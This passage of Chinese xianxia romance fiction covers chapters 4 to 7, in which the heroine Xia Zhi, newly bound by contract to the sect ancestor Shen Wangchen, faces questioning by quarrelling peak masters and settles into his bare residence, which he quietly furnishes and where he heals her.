沈忘尘衣袍翻飞,仙气缭绕,脚下没有借助任何法器,纯粹凭借自身修为凌空虚渡,身影像是一片云,越飘越远。
许久,留在原地的人群,才敢小心翼翼的抬头,目光盯着他远去的方向,直至那到纯白的身影彻底消失在天际,再无踪迹。
有人回过神来,声音发颤的喃喃道:“刚……刚刚老祖是……飞走了?”
“我的天!这是真要成仙了啊!”
人群中响起阵阵惊呼与质疑,议论声此起彼伏。
继而,所有人的目光再次调转,齐刷刷地落在夏栀身上。
众人的眼神里,有好奇,有嫉妒,有探究,甚至还藏着几分恶毒。
夏栀站在原地,后背冷汗涔涔,脑子里嗡嗡作响。
他那句“同生共死”还在耳边回荡。
她怎么就稀里糊涂的,和一个金仙境的大佬,结下了生死与共的契?
周围的目光像针一样扎在身上,她手脚都不知道该往哪放,越想越慌。袍下破烂的衣服,还有那双沾满泥泞的脏鞋,这简直是大型社死现场!
忽的一道身影挡在了她面前,温陵江对着众人朗声道:“老祖出关,妙木峰贺喜!在场修士,皆可去药庐领一份合欢散与一颗助灵丹!”
说完,他转身对着柳承安躬身:“弟子擅自做主,还望师父莫怪。人多口杂,聚集在此恐生变故。”
柳承安点点头,眉眼含笑:“江儿心细,就按你说的办。”说着转头对各位峰主及其首座弟子道:“都进来吧。”
温陵江引领着殿前聚众浩浩荡荡的往药庐而去。
其余众人再回殿内,这次夏栀却愈加紧张,一颗心悬得更高。
四位峰主都沉默的望着她。
半晌,柳承安才堆起和煦笑意,缓声道:“既然姑娘已与老祖结契,合欢宗上下,自会像恭敬老祖一般,敬重姑娘。只是姑娘的身世,我等还需问个明白。”
夏栀心道不好,脸上却不敢露怯。
她学着沈忘尘那副淡漠无波的摸样,绷着脸故作无事,甚至刻意带出几分散漫随意。
见她不说话,柳承安又接连问:“不知姑娘出身何门何派?师承哪位仙长?又为何会来到我合欢宗?这般衣衫褴褛,又是怎么回事?”
一连串问题砸来,夏栀一个也答不上,索性缄口不言。
没等柳承安再开口,一旁的火峰主率先发难,冷哼道:“哼!你以为不说,我们就无从得知了吗?”
柳承安抬手,示意他稍安勿躁,圆脸上依旧挂着慈蔼的笑:“夏姑娘是否有什么难言之隐?不必害怕,你虽与老祖结契,但还未曾验证结道,我们不会过多干涉,若姑娘不愿说,我等更不会强求。”
他话音未落,火峰主眼含厉色,双臂环胸,对着柳承安重重一哼,语气里满是猜忌与不屑:“此女跟你那好徒儿走的这么近,不会又是那个所谓仙门的弃子吧!”
夏栀心中忐忑,虽说自己的身世确实有点特殊,可这火峰主分明就是来者不善,这样诽谤的话张嘴就来。心里暗恼,却也清楚,自己不过是一个小小筑基,也没必要,与这修为深不可测的峰主,争讨口舌之快。
索性无论他们说什么,她都坚持不作回应。看似人还在,实则心已经走了一会了。
夏栀觉得柳承安不愧是一峰之主,倒是很沉得住气。
只见他眸色微眯,却也并未搭话。
这边两人装聋作哑,另一边金峰主却先一步怼了回去:“楚炎,你无凭无据便胡乱猜忌,未免太过过分!谁不知你为了宗主之位,处处与柳峰主针锋相对,到底是谁藏着私心,真当旁人瞧不出来?”
“陆铮珍,我念你是一峰之主,本不想
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与你计较!可你要论私心,那姓陆的小子,当真只是你的徒儿?晓月这般出色的弟子,受人哄骗,结道被欺,差点引祸宗门,你不管不顾;那浪荡小儿同其他修士多说几句,你便如临大敌,护的紧!真当大家都瞎子不成?”楚炎双目赤红,须发微扬,越说越怒。
声浪震得殿内空气都微微发颤,半点不让。
陆铮珍顿时怒火中烧,厉声喝道:“楚炎,你休要信口雌黄!晓月之事,我鸣金峰从未连累其他各峰,祸引宗门这种大逆不道之言,你也敢随口乱讲!何况我门下弟子如何,还轮不到你来指手画脚,休要在此胡说八道!”
两人怒目相向,面红耳赤,吵得不可开交,周身灵力隐隐躁动,眼看就要动起手来。
柳承安忙抬手拦在中间,厉声劝阻:“够了!都别吵了,同门相争,伤的是宗门和气!眼下当先解决夏姑娘的事,你们可还有其他要问的吗?”
这时,一直沉默不语的镇土峰峰主上前一步,沉声道:“本座顾崇山,土峰之主,且问姑娘,在此之前,是否有去过其他几峰?”
这问题问得奇怪,却并不难答,夏栀想也没想,直接摇了摇头。
顾崇山微微颔首,不再多问。转身对柳承安道:“泠瑶传讯今日便会回宗,既无他事,本座先回土峰。”言罢,便领着门下弟子径直离去。
楚炎见顾崇山走得干脆,冷冷斜睨了夏栀一眼,语气刻薄:“别以为傍上老祖就能高枕无忧,我合欢宗,可不是什么阿猫阿狗都能待的地方!”
他转头又扫过柳承安与顾铮珍,嗤声道:“柳峰主自个儿慢慢问吧,横竖都是你峰上的人,与我等无关。”
话音落,楚炎一甩袍袖,玄色衣袍带起阵劲风,领着自家弟子大步踏出晨殿。
直到火峰一行人彻底离去,陆铮珍才缓缓摇头,轻叹一声道:“楚炎如今,真是越来越目中无人了。老祖既已出关,择选宗主的事,还是尽早提上日程为好。”
说完,她对着柳承安拱手行礼,携着秦晓月转身告辞。
大殿之内,又重归寂静,落针可闻。
夏栀觉得自己似乎听到了什么不得了的事情,更是不敢作声,老老实实的站在一旁,静静等待着柳承安发落。
过了许久,他才深深叹了口气,语气缓和,温声道:“晨殿往后,便是老祖居所,你先去那里暂住吧。”
言罢,他负起双手,步履从容,慢悠悠地离去了。
石林中
一名土峰弟子看着脚下斑驳的血迹,低声询问道:“师尊,您既已瞧出夏姑娘言语不实,为何不当场揭穿?”
他绕着这大滩深红走了半圈,接着补充道:“这血迹不管是谁的,此人应当必死无疑,她此举是掩藏还是伪装,都将是隐患!”
顾崇山凝视着地上,已经渗入干裂石土中的暗红,眸色沉如深潭,声音沉稳道:“老祖是在土峰闭关,你觉得他会毫无察觉?此事不必声张,你去暗中查清那姑娘的底细即可。”
风卷过沙土,将那片深色血迹又掩埋了几分。
5. 第 5 章
夏栀怔怔立在空寂的庭院之中。
前院流水潺潺,清响绕着轻纱垂落的亭阁一圈圈荡开,愈显幽静。
她来之前是做足了心里准备的,若只是无人也就罢了,却没想到,这偌大的一座院落,竟全然不似有人居住过的样子。
她幽幽的瞅了眼,院落中央的那座三层小楼。从外面瞧着精致绝伦,四壁雕满了云纹仙鹤,飞檐上还挂着无声的风铃,分明是一派仙家仙境。
可谁知,这小楼竟是徒有其表。
除却一楼的几架古旧书柜,二楼的一张素塌外,内里空空荡荡,再无他物。
别说寻常院子里该有的摆件了,甚至连个厨房、厕所都没有。
空荡荡的房间里,就只有她的脚步声来回飘,显得格外冷清。
夏栀叹了口气:“仙人当真都是不吃喝拉撒的吗?”
她仰头望天,眉头拧成了个小疙瘩,嘴角也撇了下来。
饿死、憋死、臭死,哪样也没比痛死好多少。
老天是非要自己死不可吗?
“唉,既来之则安之。”
她一屁股坐在亭下的石阶上,双手撑在身后,耷拉着脑袋,正郁闷。
忽然,眼角余光瞥到,院门外有个青色身影,慢悠悠走来。
温陵江停在院门口,朝夏栀挥了挥手。
他脸上挂着温和的笑:“先前弄烂了你的衣裳,还未赔罪,听师父说你在这儿,便擅自过来了。”
他说着,把手中的食盒举到身前,补充道:“你尚未结丹,想必还未曾辟谷,就顺道带了点莲心镇的特产——醉香鸭。”
食盒倒是普普通通的样子,可里面,不寻常的肉香,顺着缝钻出来,勾得夏栀的肚子,立马咕咕叫了起来。
温陵江顿了顿,扫了眼空无一人的院子,继续道:“老祖闭关多年,这息云居久未住人,是清冷了些,你看看缺什么?尽管说。”
夏栀捧着食盒热泪盈眶,感激涕零的猛咬了一口鸭腿,含糊不清的说道:“温兄,真是大好人!”
温陵江眼神闪躲,摸出一包衣物和一块成色绝佳的绿玉,递到她面前,说道:“这是主峰玉符,夏姑娘拿着它,无论身在何处,只要心里想着妙木峰,玉符就会为你指路,定不会再迷路。”
他将包裹一同塞进夏栀另一只手里,声音放软了些:“这里是几套衣物,和些许灵石,夏姑娘要是还有别的需要,尽管来药庐找我。”
夏栀握着沉甸甸的玉符,心里越发过意不去。
自打来到这里,总是受他照顾,一时鼻尖微热,竟不知道说些什么。
只能低着头,软软的说了声:“谢谢你。”
温陵江似乎还想说什么,但她垂着脑袋,脸颊微红的样子,最终却也只是笑笑,没再多说。
待他走远后,夏栀才抱着食盒和包裹,慢慢走进了空荡荡的小楼。
夕阳西斜,金色的阳光洒在青石板上,拉的影子长长的。
她倚在二楼的窗边,手里还攥着半只鸭腿,一边啃,一边抬头遥望窗外的风景。
这个角度刚好,可以将整个莲花山尽收眼底,错落的山峰间,飘着淡淡的云雾,山腹中藏着座不食人间烟火的青砖小镇。
此时,莲心镇已亮起星星点点的灯,而躲在山后的太阳,早就为合欢宗披上了件黑色的外衣。
最后一抹夕阳自窗楣上滑过去,带走暖意,没了踪影。
暗色漫了上来,只有天边的残月,洒下淡淡的光,照亮了院落一角。
夏栀裹紧了黒袍,蜷缩在那张不大的素塌上,疲惫涌了上来,没一会儿就沉沉的睡着了。
夜风裹着银光,透过稀薄的云层,钻进寂寥的院,落在房前。
沈忘尘的背影在这月下被拉的更加纤长。
他悄声无息的走在院中,所过之处,渐渐附上生机。
修长的手指随意轻点,灵气萦绕,随着他的动作,空荡荡的房间渐渐变得雅致温暖。
凭空出现的雕花桌椅,缓缓落地,书柜典籍排列整齐,仙鹤饮泉景慢慢成型。接着又不知从何处飞来些许茶具,靠枕,软塌落在它们该在的地方。
不多时,那股有如轻纱薄雾般的灵韵,渐渐漫上二楼,停在了夏栀的床边。
她睡的不太安稳,两只手紧紧抓着黑袍的衣角,眉头拧成一团,脸上还带着点没褪尽的苍白。
那双沾满泥泞的鞋,被嫌弃了般,丢在远处,东一只西一只。
沈忘尘的目光落在歪倒的鞋子上,轻轻勾了勾手指,一缕白烟有灵性似的卷了过去,托起泥鞋。
等飘回塌边时,鞋子已是纤尘不染的洁净模样。
沈忘尘轻轻坐在塌边,低头静静看着,熟睡的夏栀,眼底没什么情绪。
他身上清冽醇厚的镇痛香气,缓缓漫开,抚平她的惶恐,令她安稳,皱着的眉头也渐渐舒展开,呼吸也变得均匀。
大概是终于放下了心,夏栀翻了个身,四仰八叉的躺在榻中间,沾着鸭油香的嘴角,噙着一抹笑,像是做了什么好梦。
沈忘尘抬起手,指腹悬在她的眉心上方,顿了下。
冰凉的中指轻点下去,丝丝内力沁入她的体内,温温软软的养着她受损的经脉。
他周身的白雾慢慢凝实,将夏栀包裹其中,白光泛起,她体内的禁制被触发了。
须臾间,白光变得耀眼夺目,似乎想要冲破束缚。然而禁制的力量远不如白雾的强大,沈忘尘脸上没什么表情,白雾瞬间收紧,毫不费力的便抑制住了禁制的扩散。
接着,他食指落下,双指并拢,白雾变得更加浓郁,顺着夏栀的眉间,缓缓钻入。
她的身体猛地一僵,不由自主的向上弓起,唇瓣微张,双颊泛起淡淡的红晕,四肢也不受控制的伸展开来。
突然,沈忘尘眉峰轻蹙,淡淡红光自他指间隐显。
紧接着,夏栀口中发出一声呢喃,她不适的扭了扭身躯,像是要挣脱什么。可身体却被某种力量禁锢,动弹不得。不多时,呢喃变成了轻微的哼唧声,带着点急切,像陷在梦魇里的人,挣扎着想要醒来。
沈忘尘见状,双指一翻,一道极细的红线,连同白雾一起被抽出。
红线像有生命似的拼命扭动,夏
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栀痛苦的张大嘴巴,喉咙里发出一声压抑的重哼。继而,白雾裹着一团深红血气从她口中吐出。
当白雾带着红线与血雾彻底离体,禁制的白光才又重新被夏栀吸回体内。
她的身体也跟着轻轻落回榻上,又恢复了平躺的姿势,眉头舒展,呼吸平稳,依旧睡的沉稳。
沈忘尘掌心微抬,那团缠绕着细密红线的血雾,便静静悬在他的掌中。五指缓缓向内收拢,周身萦绕的白雾也随之收紧,如无形囚笼将血雾困在其中。
血雾似有所感,骤然猛烈翻涌挣扎,暗红雾气疯狂冲撞白雾屏障,发出细微的滋滋声,却始终无法冲破那层看似轻薄的束缚,渐渐变得稀薄。
不稍片刻,那团红便在白雾里慢慢散了,连同红线也一起没了踪影。
沈忘尘无波无澜的看了眼夏栀,慢慢起身,衣袖拂过床沿,动作轻柔。
滑落在一旁的黑袍,被一缕白雾拎起,重新盖在了夏栀的身上,遮住了山间的凉风。
他周身的白雾慢慢散了,那股浓郁的镇痛香气也淡了下去,飘散开来。
一抹月光透过门楣洒下,照亮了房间里的陈设。
精致的软塌、雕花的画案、古朴香几、柔软地衣,屏风后的多宝格、描金台、甚至连香具,镜屏也一应俱全,处处透着雅致与华贵。
沈忘尘再看一眼熟睡的夏栀,悄声无息地走了,衣摆扫过,只留下满屋的安静和银光。
……
夏栀醒来的时候,被眼前的一切惊的怔住,愣了许久。
她盘腿坐在榻上,揉了揉惺忪的睡眼,还有点迷糊。
屁股下方,却不是昨夜那个硌人的素榻,而是一片柔软,像陷在云絮里。
明明闭眼前,这还是个毛坯房来的,怎么一觉醒来,就变成豪华精装房了!
就连她那双沾满烂泥的鞋,这会儿也是干干净净,整整齐齐的摆在床边。
夏栀目光一转,落在床头。
那里搁着昨天温陵江送来的衣物,旁侧还放着一只古朴木盒。
盒子是整块檀木所制,表面浅刻着几道流云纹,淡淡清木香萦绕其上。
夏栀伸手拾起木盒,小心掀开盒盖。
一道柔和光晕漫出,晃得她眯了眯眼。
盒子里躺着一颗拳头大的圆珠,其上流光婉转,莹润生辉,珠光流转间,看起来就像是一颗超大的珍珠。
她双手捧起珠子,凑到眼前仔细瞧着。
大珍珠拿在手里凉凉的,还带着点灵气,夏栀细看之下才发现,这珠子表面并不是光滑溜圆的,上面还沾着几粒红色的小碎肉,带着丝丝若有若无的血腥味,就像是从什么生物身上刚扣下来的。
念头一起,夏栀顿时汗毛竖起,连忙将大珍珠丢回盒中,用力盖上盖子。
“这一看就是麻醉师的手笔!”夏栀咬着牙嘀咕,“又这样,什么都不说,就留下个怪东西在这!”
她将木盒放在多宝格中,环顾这房间中的新陈设,眼里满是好奇。
就在这时,院门处传来一阵嘈杂的声响,侧耳倾听去,好像是有人在争执。
6. 第 6 章
夏栀换好衣衫,推门走出小楼。
院门外的争执声已经近了,两道身影一前一后越过前院亭阁。
风卷着绿叶掠过廊角,撞上女子的嗔恼,惹得夏栀脚步一顿,下意识往门后缩了缩。
走在前面的,是一名身着水蓝烟罗裙的秀雅佳人,下摆的合欢花随风荡起,衬得她眉眼愈发清秀。
不同于她温婉的外表,言行偏是颇为放浪,女子柳眉一竖,甩开袖袍,叉腰不满道:“小江儿啊,你莫要再拦着我了!就算那老东西在,也一样!”
她身后跟着满脸愁容的温陵江,青衫沾了些草屑,手里还提着一个新食盒,脚步匆忙。
女子回身瞅了眼他,语气满是不耐:“回来的路上,还未至宗门,就听见有人嚼舌根,说咱们合欢宗修行了千年的半仙老祖,让个筑基期的狐媚子勾去了魂!今天无论如何,我都要看看,到底是何方神圣,有这本事!”
温陵江连忙欠身,额前的碎发遮住了眼底的无奈,他压低声音,带着几分小心翼翼:“弟子并非想拦着峰主,只是......”
话未说完,便被女子厉声打断:“只是什么只是!好歹我也跟那老东西打过几百年的交道,他什么脾气,我还能不知道?”她顿了顿,又皱起眉,语气愈发不客气,“你师父呢?怎么感觉见他,比见老祖还难!”
她只一句便把难题推了回去。
温陵江额角渗出汗珠,语气愈发恭敬:“师父他老人家素来深居简出,近日又在为宗主择选之事劳心,因此未能及时拜见峰主。”
女子站定,抱臂瞪着他,眼尾的媚态混着厉色,语气不屑道:“哼!见我?妙木峰是主峰,我上赶着给他磕头请安,他都未必肯见!还等他来见我?”
“木峰全靠老祖撑面子,论资历,五峰之中,您才是最尊长的,师父他怎敢托大。”温陵江头也不敢抬,圆滑道。
女子还想再发作,突然眉头一挑,斜睨到小楼门前,不知进退的夏栀,顿时厉色褪去,眉眼一弯,踩着轻快的步子,满目笑颜的迎了上来。
“哎呀!这就是夏姑娘吧!”女子声音软了下来,带着几分惊喜,伸手拉过夏栀的手腕,灵息探过,腕间微微热起。女子又笑着说:“当真是个狐媚子!长得这般讨喜,也难怪能让那老东西主动一次!”
她说着,又松开夏栀的手,绕着她转了两圈,伸手抚过她的脸颊,触感软的惊人:“嗷呦!这小脸,吹弹可破;哎呀,这嫩手,绵软柔滑,比我那天蚕丝手感还好!”又探臂搂了搂她的腰,夏栀下意识躲开,女子却不在意,笑着啧啧两声,“这腰,这腿,啧啧啧,就是驻颜小了点,身形还没长开!再长个几岁,保准能上红颜榜前三!”
夏栀被她拉着,左捏右摸的浑身不自在。但撇了眼温陵江,见他都唯唯诺诺的不敢抬头,自己更是不敢出声,只能任由女子肆意打量。
良久,女子终于心满意足的收回手,脸上露出几分惋惜:“近些年,为了响应修仙联盟的号召,实行什么文明修仙,礼貌升阶。把大家管的死严,我们可是合欢宗啊!”
她抬手拨了拨鬓边发丝,无奈道:“想当年,姐姐我凭一手双修房中术,连天衍阵宗那位掌门都被我拿下。如今倒好,风气变了!什么都不让,你这般身段,也只能裹在这厚重衣裙里,唉!真是暴殄天物。”
温陵江听得满脸汗颜,赶忙上前,压低声音劝道:“池峰主,您少说两句吧!夏姑娘并非合欢宗的弟子,她只是和老祖结了契,并未过三门。”
池泠瑶闻言,双眼猛的睁圆,满脸惊讶的盯着夏栀,不可置信道:“没过三门!”她倒吸一口凉气,“不是道侣?那老东西怎么敢的?”话音落,她转身大步向外走去,衣袂翻飞,速度极快。
温陵江脸色一变,急忙将食盒塞进夏栀怀里,接着又慌忙追了出去,带起一片扬尘:“峰主!您这是又去哪?”
池泠瑶的声音从院外传来,带着怒气:“我去找他算账!我们合欢宗,可以渣、可以浪,但决不能害人!他居然让一个没过三门的小姑娘,跟他结契,简直胡闹!”声音渐渐远去,两人的身影也越来越小,慢慢消失在山道尽头。
夏栀抱着温热的食盒,愣在原地,看着两人风一般远去的身影,脸上尽是茫然。许久,才从食盒里摸出了一颗肉包,若无其事的咬了一大口。
肉汁浸满口腔,香气四溢,软糯的口感,好吃到令她眉眼弯弯,满心惬意。
这时,一个纯白的身影,缓缓从楼内走出。他脚步极轻,没有半点声响,灵息内敛,若不是身形过高,夏栀根本察觉不到他的存在。
突然出现的老祖,着实吓了她一跳,险些打翻手中的食盒。
夏栀不满的抱着包子,往后缩了缩,又忍不住细细打量着沈忘尘。
他依旧身着素白长袍,光影漫过袍角,泛起淡淡的柔光。
他面无表情的扫了眼夏栀怀中的食盒,随即又转而看向院门。
夏栀总觉的他今日有些不同。
看了半晌,眉头微微皱起,凑近两步,轻轻动了动鼻尖,细嗅着,这才恍然大悟道:“你怎么不香了?”
沈忘尘并未看她,目光落在院角歪倒的兰草上,声音清冽:“蕴灵之术罢了,并非常在。”
夏栀咬着肉包,久未反应,似乎还在等他进一步的解释。
看她满脸茫然,完全不懂的样子,沈忘尘轻轻叹了口气,语气依旧淡漠,却多了点耐心,缓缓开口解释道:“香气乃吾身溢出之灵力,亦可受吾操控。如无必要鲜少理会,但方才他们在此,如若不加以抑制,必会有所觉察。”
“你怕她?”夏栀咽下嘴里的肉,好奇的问。
“是汝在怕”沈忘尘终于转过头,目光落在她脸上,眼神清冷。
只一瞬,他便移开视线,继而往小楼里走去。
“我干嘛怕她”夏栀心虚的跟上他的脚步,声音比刚才小了点,“她太热情了,有点不习惯。”她一边嘟囔,一边悄悄看他背影。
光影落在他的身上,衬得他愈发清冷孤高。
两人走进小楼,沈忘尘脚步未停,淡淡询问道:“吾留于汝的兽丹,可有服用?”
夏栀闻言,脸上露出嫌弃的表情,连忙摇头抗拒道:“你说那个大珍珠?那么大!还沾着碎肉,我不要。”
“湮兽生于雷泽,其丹可蕴经脉,其肉可助灵力。汝不过筑基,经脉有损,不宜多食,几粒,当善。”沈忘尘面无表情的认真解释着。
夏栀低着头,跟在他的身后。一想到要吃那个沾着血肉的大珍珠,手里的肉包瞬间不香了,她
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带着点委屈嘟囔着:“修仙又不是当野人,干嘛要生啃那种东西啊......湮兽,这个名字听着就不好吃。”
沈忘尘突然顿住脚步,回身看着她。
夏栀没注意,就这么直直撞了上去。
他看似单薄的身姿,却岿然不动,反倒是夏栀,踉跄着退了几步才勉强站稳,红着脸擦了擦嘴角,偷偷抬眼在他袖袍上找着油渍。
待她站稳,沈忘尘才缓缓开口:“也罢,汝不愿,吾不强求。”目光扫过她泛红的脸颊,气息依旧平淡。
夏栀刚松了口气,嘴角悄悄上扬,就听到沈忘尘接着道:“三日后,汝破损的心脉,当难以承受灵能的流动。届时,五脏六腑如灼如裂,百般痛楚,生不如死。”他语气轻轻,像在说一件无关紧要的小事,“待熬过三日,修为散尽,便可褪去灵骨,做回普通凡人。”
听他无波无澜地叙述着,夏栀却惊得张大了嘴巴,手里的肉包“啪嗒”一声掉在地上,滚了两圈,沾满了尘土。
她脸上的窃喜瞬间褪去,面色苍白,赶忙道:“我吃,我吃!”言罢,抱着食盒快步上楼去了。
待沈忘尘慢悠悠的跟上来时,夏栀已取下了木盒,恭敬的摆在桌上。
她站在桌旁,盯着盒子,踌躇着不愿意打开。
“我现在没什么胃口,可不可以晚点吃?”夏栀小声的,带着几分委屈说着。
沈忘尘走到桌旁坐下,平淡开口:“方才的肉包,汝吃了三个。”
夏栀无语凝噎,慢吞吞的伸出手,碰了碰盒子,深吸了一口气,缓缓打开木盖。
她看着珠光宝气的兽丹,表面还残留着血痕。
想到这说不定是从那湮兽的头颅、胸腹,甚至可能是尾巴,或者其他的什么地方扣下来的,就万分排斥。扭捏着,迟迟不愿意下口。
沈忘尘也不急,就这么静静坐在对面,没有看她,目光落在窗外。可他无形中散发出的威压,却让夏栀不敢再推诿。
许久,夏栀终于做足了心理准备,眉头紧紧皱着,嘴角往下撇。
突然,她深吸口气,眼一闭,两手捧起兽丹,往嘴里送。
就在牙齿即将碰到兽丹的那一刻,一只微凉的手伸了过来,拦下她的动作。
夏栀一愣,睁开眼,就看到沈忘尘正看着她,波澜不惊道:“莫用口,以灵吞服。”
“啊?你不早说!”夏栀白眼都快翻到天灵盖了,却也不敢再抱怨,只得无奈的问到,“怎么用灵吞?”
沈忘尘依旧是面无表情,却是很难得的久久凝望着她。
不多时,他才轻轻谓叹一声:“汝,当该不会,是吾疏忽了。”说罢,他手腕一扬,袖间漫起轻盈白雾,将她手中的兽丹卷起,悬浮在半空。
白雾包裹着兽丹,缓缓旋转环绕,片刻后,兽丹便被蚕食殆尽,化作一缕流光彩灵,融入白雾中。
接着,白雾拖着夏栀的手,不自觉的伸向沈忘尘。
下一秒,他的手与她十指相扣。
修长的手指,穿过指缝,指腹微凉的触感,轻轻扣住她的手,微微用力收紧。
一道怪异的感觉,顺着两人紧贴的掌心,来回穿梭。
彩灵涌入夏栀的经脉,穿过四肢百骸,暖融融的,还带着几分酥麻,漫延全身。
7. 第 7 章
夏栀此时满面通红,耳边烫的厉害。这暧昧的姿势,令她下意识地低下头,不敢再看沈忘尘。
她眼神慌乱,“咚咚咚”的心跳声,清晰的传入耳中,呼吸都变得小心。
感受着他微微用力的冰凉手指,似有电流蹿过,那感觉穿透掌心,顺着经脉,席卷全身。
夏栀藏在桌下的另一只手,紧紧攥着拳,在掌中印下淡淡红痕。
她不敢动,只能任由他扣着自己的手,长长的眼睫轻轻颤动,遮住满脸的羞涩。
片刻过后,沈忘尘缓缓抽回了手,连带着白雾,一起退回了他的袖中。
夏栀却还未回过神,依旧保持的原来的姿势,愣愣的伸着手,掌中还残留着他的触感,脸上的红晕迟迟没有褪去,眼神茫然,傻乎乎的连头都没抬。
直到沈忘尘起身,离开桌边,衣袂扫过她的鞋尖,夏栀才猛地反应过来,连忙收回手,藏在袖中,尴尬的搓了搓,脸颊又烫了几分。
屋内突然变得安静起来,只剩下窗框边的风声。
夏栀愈发紧张,双手背在身后,互相绞着。
她讪讪的笑了声,试图打破这尴尬的气氛:“这,这些家具,是你弄的吧?谢谢你啊,现在这样住着,舒服多了。”
夏栀一边说,一边偷偷打量着沈忘尘,心里还想问他,是否也要住在这里,毕竟柳承安说过,这是他的院子。
可当她看到屏风后的那张单人软榻时,话到嘴边又咽了回去。
好在这次,沈忘尘没有继续沉默:“你还需要什么?”
夏栀闻言,想了想认真说道:“我想要个厕所可以吗?”
他顿了顿,没有立刻回答,目光环视屋内,沉默了片刻,才缓缓点头。
夏栀瞬间喜出望外,笑得眉眼弯弯,露出两颗小虎牙,模样俏皮又可爱。
她连忙指着楼上说:“三楼空着!可以放那里,还可以一边泡澡,一边看风景!”
沈忘尘看着她跃跃欲试的样子,没说话,白雾渐渐漫出身躯,缓缓飘向四周。
夏栀见状,还以为是自己得寸进尺,惹得老祖不开心了,又摆着手补充道:“也、也不一定要在楼上!其实在哪都行,院子里的角落处就好。”
她越说,声音越小,心里发虚道:“你要用三楼的话,就当我没说……我随便找个地方也不是不行......”
她的肩膀微微垮了下去,心里满是忐忑。
虽然沈忘尘没说会住在这里,但也没说不住这里,就这么一栋小楼,自己擅自作主,霸占了主卧,还想三楼,确实有点不妥。
“其实,也不一定要泡澡,我住哪都行……”她咬着下唇,细弱蚊喃的解释着。
这时,沈忘尘薄唇轻启,淡淡开口:“好了。”
夏栀眼睛一亮,脸上的歉意瞬间散去,取而代之的是满满的惊喜。
她连忙提着裙摆,快步往楼上跑去,嘴里还欢快的叫着:“谢谢老祖!您真是雍容大度!慷慨大方!小女子无以言表!”
“啊!!你你你你!”
转瞬,夏栀震惊的声音,便从楼上传了下来。
咚咚咚的脚步声,急促又慌张,从沈忘尘的头顶飞掠而过。
夏栀扒在楼梯扶手上,幽怨的看着他,气呼呼的不满道:“怎么是个猫砂盆!”
沈忘尘立在窗边,白衣垂落,随风轻荡,清冷的声音只淡淡吐出三个字:“汝之需”
夏栀觉得一定是,在问灵石那里,看记忆片段的时候,让他理解错了什么,连忙比划着,急声道:“不是这样的!是人用的,洗澡!还有坐的那种解急的!”
她松开扶手,蹦跶着往下跑了两步,双手比划的飞快,做出搓澡、淋浴的小动作。
沈忘尘却是转过脸去,带着些许淡漠,一本正经的说:“吾记不清了。”
夏栀撇了撇嘴角,跑到他面前,垫起脚,正要再好好比划着解释一翻,试图让沈忘尘,给她至少弄出个敞亮的澡盆时,楼下忽然传来一声怯生生的呼喊。
那声音断断续续,从楼下飘上来,带着点试探,又藏着几分惶恐:“老祖?老祖?”
夏栀缩了缩脖子,小心的顺着声音往下看。
只见一名赤衣弟子贴着门框,探头探脑的往里瞧。
他已经在院门外喊了足足一炷香的功夫,却任是不见老祖身影,实在没办法,才壮着胆子迈了进来,生怕惊扰了这位传说中清冷难近的老祖。
沈忘尘目光扫过夏栀的发顶,衣袂微扬,带着极淡的白雾,掠过她的身侧,下楼去了。
那赤衣弟子终于瞥见那抹白衣时,却是吓得浑身一僵,连忙缩起脖子,低着脑袋,双手垂在身侧,如倒豆般将自家峰主的吩咐急急托出:“火峰主请老祖前去晨殿议事。”
“弟,弟子在门外,久未见老祖,故而擅自进来,弟子唐突,还望老祖莫怪。”说罢,他躬得更低,肩膀微微颤抖,似乎恨不得找个地缝钻进去。
“楚炎?找吾何事?”
沈忘尘语气平淡,自顾自地走到仙鹤饮泉景致后方的书架旁,随手取下一册古籍,静静翻阅了起来。
“弟子不知。”赤衣弟子的头又低了几分,像是在等待挨批的下属。见沈忘尘似乎无意发怒,才又壮着胆子,猜道:“或许是择选峰主之事。”
虽是猜测,但也并非空穴来风。
合欢宗宗主之位空缺几百年,宗门上下人心浮动,楚炎性子火爆,又对此事极为重视,这些日子他为此四处奔走,明眼人都看得出来。
赤衣弟子的这般说辞,一来,是为了说服老祖下山,否则叫不来人,以楚炎的脾气,自己回去少说要脱层皮;二来,此事本就人人心知肚明,说出来也不算欺瞒老祖。
沈忘尘自然不知他心中的这些小九九,白雾萦绕在书页之间,他只淡淡的应了声,便挥手将人遣退。
赤衣弟子如蒙大赦,连忙再度躬身行礼,脚步匆匆地退了出去。
待那弟子的红衣消失在院门口,夏栀才从楼上慢吞吞的摸下来。
早上池泠瑶所说的那些谣言,还残留在脑海。
她咬着唇,眼神动了动,想再试试说服老祖,在别处给她变个洗澡的地方,哪怕是在后院搭个简单的浴蓬也好。
还没来得及张嘴,沈忘尘却率先开口:“走吧。”
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“去哪?”夏栀一愣,满脸疑惑。
“沐浴。”
他语气淡淡,合上手中书籍,白雾一卷便将它稳稳插回书架上,顺便又将整排典籍理的齐整。随后环绕着沈忘尘,转身出了小楼。
白衣在晨光中划出一道清淡的弧线,衣摆扫过廊下的花枝,带起几片花瓣,蕴灵轻漾,没有半点张扬。
夏栀跟在后面,小短腿倒得飞快,生怕落下他的脚步。
院门外的空地上,正站着那名尚未离开的火峰弟子,以及不知何时又折返回来的温陵江两人。
池泠瑶一见他二人,立即叉着腰,嗓音清亮道:“好啊,就说怎么找不到人,方才连蕴灵都藏起来了!师叔可认得我?”
“泠瑶师侄。”
“错啦!我是铃音。”
“铃音师侄。”
“骗你的呦!我是青青。”
……
眼看池泠瑶还想继续捉弄,温陵江赶忙上前一步,阻拦道:“火峰主还在晨殿等待,耽误了时辰,他又要发脾气了。”
沈忘尘听闻,却是转身就往回走。
池泠瑶脸上的嬉闹瞬间敛去,眯着眼冷笑道:“都什么境界了还是这性子,小师叔自可以不去,但楚炎那脾气,怕不止这两位弟子要受罚,连你身后那位,也会受到牵连。”
沈忘尘脚下一顿,随即缓缓回身,面无表情的又向山下走去。
夏栀和温陵江两人落在最后,交头接耳道:“谢谢,包子很好吃!”
她的声音软软的,带着笑意,俏皮又可爱。
温陵江低头看着她,面上漾开亲和的笑:“你喜欢就好,下次我再给你带。还有糖油糕,桂花酿......”
夏栀偏着头,听他如数家珍似的介绍着。瞧他气息沉稳内敛,语态温软和煦,就像邻家大哥哥那样,既耐心又温柔,让人无端觉得安心可靠。
忽的,沈忘尘停下脚步,清冷的声音飘了过来,对着温陵江两人吩咐:“汝带她去往寒池。”
温陵江心领神会,连忙躬身应是:“谨遵老祖吩咐。”
说罢,他轻轻拉住夏栀的袖口,低声道:“这边走,绕近路。”
